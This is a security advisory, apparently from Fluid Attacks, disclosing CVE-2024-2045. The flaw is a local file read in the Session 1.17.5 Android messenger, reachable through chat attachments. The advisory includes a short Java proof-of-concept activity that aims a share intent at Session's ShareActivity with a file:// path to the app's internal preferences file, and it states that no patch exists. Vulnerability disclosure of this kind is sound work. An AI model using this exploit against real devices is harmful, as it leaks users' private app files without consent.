Session 1.17.5 - LFR via chat attachment

Summary

Vulnerability

Description

Session version 1.17.5 allows obtaining internal application files and public files from the user's device without the user's consent. This is possible because the application is vulnerable to Local File Read via chat attachments.

Vulnerability

An arbitrary local file reading (LFR) vulnerability has been identified in Session. The exploit allows an attacker to obtain internal application files or files from public paths accessed by the application such as images, downloads, etc.

Exploit

[...]

public class MainActivity extends AppCompatActivity {

    [...]

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        [...]

        // Hacking Here
        StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);
        Intent intent = new Intent("android.intent.action.SEND");
        intent.setClassName("network.loki.messenger","org.thoughtcrime.securesms.ShareActivity");
        intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///data/user/0/network.loki.messenger/shared_prefs/network.loki.messenger_preferences.xml"));
        startActivity(intent);
    }

    [...]
}

Evidence of exploitation

In the evidence we can see how a malicious application installed on the victim's device can force the user to leak internal files from the application and/or device to a certain contact.

We studied ways to force the automatic sending to any person using Session, but we did not find a way (however we do not rule out this possibility).

In short, with a bit of social engineering, a malicious contact could persuade his victim to obtain his internal files without authorization.

Our security policy

We have reserved the ID CVE-2024-2045 to refer to this issue from now on.

• https://fluidattacks.com/advisories/policy/

System Information

• Version: Session 1.17.5

• Operating System: Android

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/oxen-io/session-android/

Timeline